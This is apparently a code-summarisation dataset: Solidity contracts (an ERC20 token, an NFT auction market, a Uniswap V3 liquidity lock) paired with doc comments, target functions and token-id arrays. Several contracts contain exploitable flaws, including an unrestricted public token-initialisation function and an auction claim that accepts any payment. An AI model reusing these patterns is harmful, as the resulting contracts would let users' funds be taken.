[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 12, 2867, 358, 67, 16, 2254, 460, 67, 13, 1071, 1347, 1248, 8966, 1135, 261, 6430, 13, 288, 203, 3639, 2583, 12, 869, 67, 480, 1758, 12, 20, 13, 597, 460, 67, 1648, 324, 26488, 63, 3576, 18, 15330, 19226, 203, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 273, 324, 26488, 63, 3576, 18, 15330, 8009, 1717, 12, 1132, 67, 1769, 203, 3639, 324, 26488, 63, 869, 67, 65, 273, 324, 26488, 63, 869, 67, 8009, 1289, 12, 1132, 67, 1769, 203, 3639, 3626, 12279, 12, 3576, 18, 15330, 16, 358, 67, 16, 460, 67, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) revert(); _; } function transferOwnership(address newOwner) onlyOwner private { owner = newOwner; } } // ---------------------------------------------------------------------------------------------- // Original from: // https://theethereum.wiki/w/index.php/ERC20_Token_Standard // (c) BokkyPooBah 2017. The MIT Licence. // ---------------------------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/issues/20 contract ERC20Interface { // Get the total token supply function totalSupply() constant returns (uint256 totalSupply); // Get the account balance of another account with address _owner function balanceOf(address _owner) constant public returns (uint256 balance); // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public returns (bool success); // Send _value amount of token from address _from to address _to function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. // this function is required for some DEX functionality function approve(address _spender, uint256 _value) public returns (bool success); // Returns the amount which _spender is still allowed to withdraw from _owner function allowance(address _owner, address _spender) constant public returns (uint256 remaining); // Triggered when tokens are transferred. event Transfer(address indexed _from, address indexed _to, uint256 _value); // Triggered whenever approve(address _spender, uint256 _value) is called. event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /// @title Yoyo Ark Coin (YAC) contract YoyoArkCoin is owned, ERC20Interface { // Public variables of the token string public constant standard = 'ERC20'; string public constant name = 'Yoyo Ark Coin'; string public constant symbol = 'YAC'; uint8 public constant decimals = 18; uint public registrationTime = 0; bool public registered = false; uint256 totalTokens = 960 * 1000 * 1000 * 10**18; // This creates an array with all balances mapping (address => uint256) balances; // Owner of account approves the transfer of an amount to another account mapping(address => mapping (address => uint256)) allowed; // These are related to YAC team members mapping (address => bool) public frozenAccount; mapping (address => uint[3]) public frozenTokens; // Variable of token frozen rules for YAC team members. uint public unlockat; // Constructor constructor() public { } // This unnamed function is called whenever someone tries to send ether to it function () private { revert(); // Prevents accidental sending of ether } function totalSupply() constant public returns (uint256) { return totalTokens; } // What is the balance of a particular account? function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // Transfer the balance from owner's account to another account function transfer(address _to, uint256 _amount) public returns (bool success) { if (!registered) return false; if (_amount <= 0) return false; if (frozenRules(msg.sender, _amount)) return false; if (balances[msg.sender] >= _amount && balances[_to] + _amount > balances[_to]) { balances[msg.sender] -= _amount; balances[_to] += _amount; emit Transfer(msg.sender, _to, _amount); return true; } else { return false; } } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { if (!registered) return false; if (_amount <= 0) return false; if (frozenRules(_from, _amount)) return false; if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; emit Transfer(_from, _to, _amount); return true; } else { return false; } } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @dev Register for Token Initialize, /// 100% of total Token will initialize to dev Account. function initRegister() public { // (85%) of total supply to sender contract balances[msg.sender] = 960 * 1000 * 1000 * 10**18; // Frozen 15% of total supply for team members. registered = true; registrationTime = now; unlockat = registrationTime + 6 * 30 days; // Frozen rest (15%) of total supply for development team and contributors // 144,000,000 * 10**18; frozenForTeam(); } /// @dev Frozen for the team members. function frozenForTeam() internal { uint totalFrozeNumber = 144 * 1000 * 1000 * 10**18; freeze(msg.sender, totalFrozeNumber); } /// @dev Frozen 15% of total supply for team members. /// @param _account The address of account to be frozen. /// @param _totalAmount The amount of tokens to be frozen. function freeze(address _account, uint _totalAmount) public onlyOwner { frozenAccount[_account] = true; frozenTokens[_account][0] = _totalAmount; // 100% of locked token within 6 months } /// @dev Token frozen rules for token holders. /// @param _from The token sender. /// @param _value The token amount. function frozenRules(address _from, uint256 _value) internal returns (bool success) { if (frozenAccount[_from]) { if (now < unlockat) { // 100% locked within the first 6 months. if (balances[_from] - _value < frozenTokens[_from][0]) return true; } else { // 100% unlocked after 6 months. frozenAccount[_from] = false; } } return false; } }
@dev Frozen for the team members.
function frozenForTeam() internal { uint totalFrozeNumber = 144 * 1000 * 1000 * 10**18; freeze(msg.sender, totalFrozeNumber); }
10,235,278
[ 1, 42, 9808, 364, 326, 5927, 4833, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 12810, 1290, 8689, 1435, 203, 3639, 2713, 203, 565, 288, 203, 3639, 2254, 2078, 42, 303, 8489, 1854, 273, 30457, 380, 4336, 380, 4336, 380, 1728, 636, 2643, 31, 203, 3639, 16684, 12, 3576, 18, 15330, 16, 2078, 42, 303, 8489, 1854, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "../frontend/node_modules/@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; contract Market is ERC721URIStorage{ string public Name; string public Symbol; //NFT代币信息 constructor() ERC721("NFT", "NFT") { Name = name(); Symbol = symbol(); } struct NFT{ string name; string tokenURI; string des; uint uid; uint price; address payable creator; address payable owner; bool onauction; } struct Auction{ uint initivalue; uint finalvalue; uint endtime; uint nid; address payable provider; address payable receiver; bool on; bool mark; } struct history{ uint num; } //NFT Uid uint public itemUid; //Auction Uid uint public auctionUid; //历史index mapping(uint => history) public hislen; //市场mapping mapping(uint => NFT) public marketBoard; //拍卖mapping mapping(uint => Auction) public auctions; //历史计数mapping mapping(uint => address[]) public Historys; //铸造NFT function createNFT(string memory _name, string memory _tokenURI, string memory _des, uint _price) external { address payable sender = payable(msg.sender); //铸造NFT _safeMint((msg.sender), itemUid); //将uid和uri一一对应 _setTokenURI(itemUid, _tokenURI); //制造NFT对象 NFT memory newNFT = NFT( _name, _tokenURI, _des, itemUid, _price, sender, sender, false ); //将NFT加入市场 marketBoard[itemUid] = newNFT; //保存所有权的历史 Historys[itemUid].push(sender); //保存Index hislen[itemUid].num++; //增加 uid + 1 itemUid++; } //获取URI function getURI(uint _id) public view returns (string memory){ string memory thisURI = tokenURI(_id); return thisURI; } //获取所有者 function getOwner(uint _id) public view returns (address) { return ownerOf(_id); } //获取历史记录长度 function getHislen(uint _id) public view returns (uint) { return hislen[_id].num; } // Events that will be emitted on changes. event HighestBidIncreased(address bidder, uint amount); // The auction has ended. event AuctionEnded(address winner, uint amount); // The auction has success. event AuctionComplete(address from, address to); /// The auction has already ended. error AuctionAlreadyEnded(); /// There is already a higher or equal bid. error BidNotHighEnough(uint highestBid); /// The auction has not ended yet. error AuctionNotYetEnded(); /// The function auctionEnd has already been called. error AuctionEndAlreadyCalled(); /// Poor error Poor(); /// Wrong error Wrong(); /// Not Yours error NotYours(); //创建拍卖 function createAuction(uint _uid, uint _value, uint _time) external { //确认真实存在 if (!_exists(_uid)) revert Wrong(); //确认自身是NFT的所有人 if (msg.sender != ownerOf(_uid)) revert NotYours(); address payable x = payable(msg.sender); //挂牌拍卖置位 marketBoard[_uid].onauction = true; Auction memory newAuction = Auction( _value, _value, block.timestamp + _time, _uid, x, x, true, false ); auctions[_uid] = newAuction; } //出价 function Bid(uint _id, uint price) external { //确认拍卖在进行 if (auctions[_id].on == false) revert AuctionAlreadyEnded(); //确认拍卖时间未结束 if (block.timestamp > auctions[_id].endtime) revert AuctionAlreadyEnded(); //确认钱包有余额 if (price > msg.sender.balance) revert Poor(); //确认出家够多 if (price <= auctions[_id].finalvalue) revert BidNotHighEnough(auctions[_id].finalvalue); //更新交易现状 auctions[_id].finalvalue = price; auctions[_id].provider = auctions[_id].receiver; auctions[_id].receiver = payable(msg.sender); emit HighestBidIncreased(msg.sender, price); } //声明所有权 function claim(uint _id) public payable { if (block.timestamp < auctions[_id].endtime) revert AuctionNotYetEnded(); if (auctions[_id].receiver != msg.sender) revert NotYours(); address payable sender = payable(msg.sender); //更新历史记录 Historys[_id].push(msg.sender); hislen[_id].num++; address t = marketBoard[_id].owner; //更新市场记录 marketBoard[_id].owner = sender; marketBoard[_id].onauction = false; marketBoard[_id].price = auctions[_id].finalvalue; //这一步遇到各种问题,要命,最终还是成功了,后端搞不了就前端解决了 //支付 payable(ownerOf(_id)).transfer(msg.value); //转移所有权 _transfer(ownerOf(_id), msg.sender, _id); //失败的方法 // uint vv = auctions[_id].finalvalue; // payable(ownerOf(_id)).transfer(vv); emit AuctionComplete(t, msg.sender); } }
出价确认拍卖在进行确认拍卖时间未结束确认钱包有余额确认出家够多更新交易现状
function Bid(uint _id, uint price) external { if (auctions[_id].on == false) revert AuctionAlreadyEnded(); if (block.timestamp > auctions[_id].endtime) revert AuctionAlreadyEnded(); if (price > msg.sender.balance) revert Poor(); if (price <= auctions[_id].finalvalue) revert BidNotHighEnough(auctions[_id].finalvalue); auctions[_id].finalvalue = price; auctions[_id].provider = auctions[_id].receiver; auctions[_id].receiver = payable(msg.sender); emit HighestBidIncreased(msg.sender, price); }
5,516,835
[ 1, 166, 234, 123, 165, 124, 120, 168, 99, 111, 169, 111, 102, 167, 238, 240, 166, 240, 249, 166, 255, 106, 169, 128, 254, 169, 99, 239, 168, 99, 111, 169, 111, 102, 167, 238, 240, 166, 240, 249, 167, 250, 119, 170, 250, 117, 167, 255, 108, 168, 124, 246, 167, 256, 258, 168, 99, 111, 169, 111, 102, 170, 245, 114, 166, 239, 232, 167, 255, 236, 165, 126, 252, 170, 100, 256, 168, 99, 111, 169, 111, 102, 166, 234, 123, 166, 111, 119, 166, 102, 258, 166, 102, 253, 167, 254, 117, 167, 249, 113, 165, 123, 102, 167, 251, 246, 168, 241, 113, 168, 237, 119, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 605, 350, 12, 11890, 389, 350, 16, 2254, 6205, 13, 3903, 288, 203, 3639, 309, 261, 69, 4062, 87, 63, 67, 350, 8009, 265, 422, 629, 13, 203, 5411, 15226, 432, 4062, 9430, 28362, 5621, 203, 3639, 309, 261, 2629, 18, 5508, 405, 279, 4062, 87, 63, 67, 350, 8009, 409, 957, 13, 203, 5411, 15226, 432, 4062, 9430, 28362, 5621, 203, 3639, 309, 261, 8694, 405, 1234, 18, 15330, 18, 12296, 13, 203, 5411, 15226, 453, 83, 280, 5621, 7010, 3639, 309, 261, 8694, 1648, 279, 4062, 87, 63, 67, 350, 8009, 6385, 1132, 13, 203, 5411, 15226, 605, 350, 1248, 8573, 664, 4966, 12, 69, 4062, 87, 63, 67, 350, 8009, 6385, 1132, 1769, 203, 3639, 279, 4062, 87, 63, 67, 350, 8009, 6385, 1132, 273, 6205, 31, 203, 3639, 279, 4062, 87, 63, 67, 350, 8009, 6778, 273, 279, 4062, 87, 63, 67, 350, 8009, 24454, 31, 203, 3639, 279, 4062, 87, 63, 67, 350, 8009, 24454, 273, 8843, 429, 12, 3576, 18, 15330, 1769, 203, 3639, 3626, 15207, 395, 17763, 27597, 8905, 12, 3576, 18, 15330, 16, 6205, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.12; import './third_party/INonfungiblePositionManager.sol'; import './third_party/IPeripheryImmutableState.sol'; import './third_party/IPeripheryPayments.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC721/ERC721.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol'; import '@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol'; /// A contract used to lock liquidity for Uniswap V3 pools contract LiquidityLock is ERC721, IERC721Receiver, IERC777Recipient { /// @dev The ID of the next token that will be minted. Skips 0 uint256 private _nextId = 1; /// @dev A map of token IDs to the associated position data mapping(uint256 => LockedPosition) private _positions; /// @dev A map of Uniswap token IDs to their corresponding token IDs in this lock contract mapping(uint256 => uint256) private _uniswapTokenIdsToLock; /// Details about the liquidity position that are locked in this contract struct LockedPosition { /// @dev The address of the Uniswap V3 position manager contract that controls the liquidity address positionManager; /// @dev The token id of the position in the position manager contract uint256 uniswapTokenId; /// @dev Address of the token0 contract address token0; /// @dev Address of the token1 contract address token1; /// @dev The liquidity at the time this contract took control of the position. Note: This number /// may differ from the original liquidity of the position if, for example, the position /// operator decreased their liquidity before locking the remaining liquidity in this contract. uint128 initialLiquidity; /// @dev Tme amount by which the initial liquidity has already been decreased uint128 decreasedLiquidity; /// @dev The unix timestamp when the liquidity starts to unlock uint256 startUnlockingTimestamp; /// @dev The unix timestamp when the liquidity finishes unlocking uint256 finishUnlockingTimestamp; } // Events /// @notice Emitted when a token owner decreases and withdraws liquidity event WithdrawLiquidity(uint256 indexed tokenId, address indexed recipient, uint128 liquidity); /// @notice Emitted when a token owner collects and withdraws tokens without decreasing liquidity event CollectTokens(uint256 indexed tokenId, address indexed recipient); /// @notice Emitted when a Uniswap token is returned after the lock duration has completely elapsed event ReturnUniswap(uint256 indexed lockTokenId, uint256 indexed uniswapTokenId, address indexed owner); constructor() ERC721('Uniswap V3 Liquidity Lock', 'UV3LL') {} // MARK: - LiquidityLock public interface /// @notice Returns the original owner of the provided Uniswap token ID that is currently locked /// by this contract function ownerOfUniswap(uint256 _uniswapTokenId) external view returns (address owner) { uint256 _lockTokenId = _uniswapTokenIdsToLock[_uniswapTokenId]; require(_lockTokenId != 0, 'No lock token'); return ownerOf(_lockTokenId); } /// @notice Returns the token ID of the locked position token that wraps the provided uniswap token function lockTokenId(uint256 _uniswapTokenId) external view returns (uint256 _lockTokenId) { _lockTokenId = _uniswapTokenIdsToLock[_uniswapTokenId]; require(_lockTokenId != 0, 'No lock token'); } /// @notice Returns the token ID of the Uniswap token that is locked and represented by the provided /// lock token ID function uniswapTokenId(uint256 _lockTokenId) external view returns (uint256 _uniswapTokenId) { require(_exists(_lockTokenId), 'Invalid token ID'); LockedPosition storage position = _positions[_lockTokenId]; _uniswapTokenId = position.uniswapTokenId; } /// @notice Returns the total amount of liquidity available to be withdrawn at this time function availableLiquidity(uint256 tokenId) public view returns (uint128) { require(_exists(tokenId), 'Invalid token ID'); LockedPosition storage position = _positions[tokenId]; uint256 timestamp = block.timestamp; if (position.startUnlockingTimestamp > timestamp) { // The liquidity has not yet begun to unlock return 0; } if (timestamp >= position.finishUnlockingTimestamp) { // The liquidity is completely unlocked, so all remaining liquidity is available return position.initialLiquidity - position.decreasedLiquidity; } // The ratio of liquidity available in parts per thousand (not percent) uint256 unlockPerMille = ((timestamp - position.startUnlockingTimestamp) * 1000) / (position.finishUnlockingTimestamp - position.startUnlockingTimestamp); uint256 unlockedLiquidity = (position.initialLiquidity * unlockPerMille) / 1000; return uint128(unlockedLiquidity - position.decreasedLiquidity); } /// @notice This function allows you to decrease your liquidity position and withdraw any collected tokens /// or ETH. The provided `liquidity` value must be less than or equal to the total available liquidity, which /// can be obtained by calling `availableLiquidity`. /// @dev It works by wrapping multiple different calls to the position manager contract, specifically: /// * `decreaseLiquidity` - Decrease the liquidity position and increase the amount of tokens owed /// * `collect` - Collect the owed, sending them (temporarily) to the position manager contract /// * `unwrapWETH9` - If either of the tokens is WETH, unwrap them to ETH and transfer them to the recipient /// * `sweepToken` - Transfer any tokens left in the position manager contract to the recipient function withdrawLiquidity( uint256 tokenId, address recipient, uint128 liquidity, uint256 amount0Min, uint256 amount1Min, uint256 deadline ) external { require(ERC721.ownerOf(tokenId) == msg.sender, 'Not authorized'); LockedPosition storage position = _positions[tokenId]; uint128 available = availableLiquidity(tokenId); require(liquidity <= available, 'Liquidity unavailable'); position.decreasedLiquidity += liquidity; // Decrease the liquidity position INonfungiblePositionManager manager = INonfungiblePositionManager(position.positionManager); INonfungiblePositionManager.DecreaseLiquidityParams memory decreaseParams = INonfungiblePositionManager .DecreaseLiquidityParams({ tokenId: position.uniswapTokenId, liquidity: liquidity, amount0Min: amount0Min, amount1Min: amount1Min, deadline: deadline }); manager.decreaseLiquidity(decreaseParams); // Collect all available tokens into the position manager contract _collectAndWithdrawTokens(tokenId, recipient, amount0Min, amount1Min); emit WithdrawLiquidity(tokenId, recipient, liquidity); } /// @notice Collect any tokens due from fees or from decreasing liquidity /// @param tokenId The token ID of the locked position token, not the wrapped uniswap token /// @dev If you have the Uniswap token ID but not the lock token ID, you can call `getLockTokenId`, /// and pass the Uniswap token ID to receive the lock token ID. function collectAndWithdrawTokens( uint256 tokenId, address recipient, uint256 amount0Min, uint256 amount1Min ) external { require(ERC721.ownerOf(tokenId) == msg.sender, 'Not authorized'); _collectAndWithdrawTokens(tokenId, recipient, amount0Min, amount1Min); emit CollectTokens(tokenId, recipient); } /// @notice Returns the locked Uniswap token to the original owner and deletes the lock token /// @dev This can only be done if the current timestamp is greater than the finish timestamp /// of the locked position. function returnUniswapToken(uint256 tokenId) external { require(ERC721.ownerOf(tokenId) == msg.sender, 'Not authorized'); LockedPosition storage position = _positions[tokenId]; uint256 _uniswapTokenId = position.uniswapTokenId; uint256 timestamp = block.timestamp; require(timestamp >= position.finishUnlockingTimestamp, 'Not completely unlocked'); IERC721 manager = IERC721(position.positionManager); manager.safeTransferFrom(address(this), msg.sender, _uniswapTokenId); delete _uniswapTokenIdsToLock[_uniswapTokenId]; delete _positions[tokenId]; _burn(tokenId); emit ReturnUniswap(tokenId, _uniswapTokenId, msg.sender); } // MARK: - IERC721Receiver function onERC721Received( address, /*operator*/ address from, uint256 tokenId, bytes calldata data ) external override returns (bytes4) { INonfungiblePositionManager manager = INonfungiblePositionManager(msg.sender); ( /* uint96 nonce */, /* address operator */, address token0, address token1, /* uint24 fee */, /* int24 tickLower */, /* int24 tickUpper */, uint128 liquidity, /* uint256 feeGrowthInside0LastX128 */, /* uint256 feeGrowthInside1LastX128 */, /* uint128 tokensOwed0 */, /* uint128 tokensOwed1 */ ) = manager.positions(tokenId); require(liquidity > 0, 'Not enough liquidity to lock'); require(token0 != address(0) && token1 != address(0), 'Invalid token address'); // Sanity check length of provided data before trying to decode. require(data.length == 64, 'Invalid data field. Must contain two timestamps.'); // The `data` parameter is expected to contain the start and finish timestamps (uint256 startTimestamp, uint256 finishTimestamp) = abi.decode(data, (uint256, uint256)); // The start and finish timestamps should be in the future, and the finish timestamp should be // farther in the future than the start timestamp uint256 timestamp = block.timestamp; require(startTimestamp >= timestamp && finishTimestamp > startTimestamp, 'Invalid timestamps'); // Mint an NFT representing this locked position with `from` as the owner _mint(from, _nextId); _positions[_nextId] = LockedPosition({ positionManager: msg.sender, uniswapTokenId: tokenId, token0: token0, token1: token1, initialLiquidity: liquidity, decreasedLiquidity: 0, startUnlockingTimestamp: startTimestamp, finishUnlockingTimestamp: finishTimestamp }); _uniswapTokenIdsToLock[tokenId] = _nextId; _nextId++; return this.onERC721Received.selector; } // MARK: - IERC777Recipient function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external { // todo: Do we need to do any validation here? } // MARK: - Private helper functions /// @dev See docs for `collectAndWithdrawTokens` function _collectAndWithdrawTokens( uint256 tokenId, address recipient, uint256 amount0Min, uint256 amount1Min ) private { LockedPosition storage position = _positions[tokenId]; // Collect all available tokens into the position manager contract INonfungiblePositionManager manager = INonfungiblePositionManager(position.positionManager); INonfungiblePositionManager.CollectParams memory collectParams = INonfungiblePositionManager.CollectParams({ tokenId: position.uniswapTokenId, recipient: address(0), // address(0) is a magic number referring to the address of the position manager contract amount0Max: type(uint128).max, amount1Max: type(uint128).max }); manager.collect(collectParams); // Step 3: Unwrap WETH or sweep tokens IPeripheryImmutableState state = IPeripheryImmutableState(position.positionManager); address WETHAddress = state.WETH9(); IPeripheryPayments payments = IPeripheryPayments(position.positionManager); unwrapWETHOrSweep(position.token0, recipient, amount0Min, payments, WETHAddress); unwrapWETHOrSweep(position.token1, recipient, amount1Min, payments, WETHAddress); } /// @dev Either call `unwrapWETH9` or `sweepToken` on the provided payments contract depending on /// whether the token address refers to WETH or a regular ERC-20 token. function unwrapWETHOrSweep( address tokenAddress, address recipient, uint256 amountMinimum, IPeripheryPayments payments, address WETHAddress ) private { if (tokenAddress == WETHAddress) { payments.unwrapWETH9(amountMinimum, recipient); } else { payments.sweepToken(tokenAddress, amountMinimum, recipient); } } }
todo: Do we need to do any validation here?
function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external { }
14,104,318
[ 1, 9012, 30, 2256, 732, 1608, 358, 741, 1281, 3379, 2674, 35, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
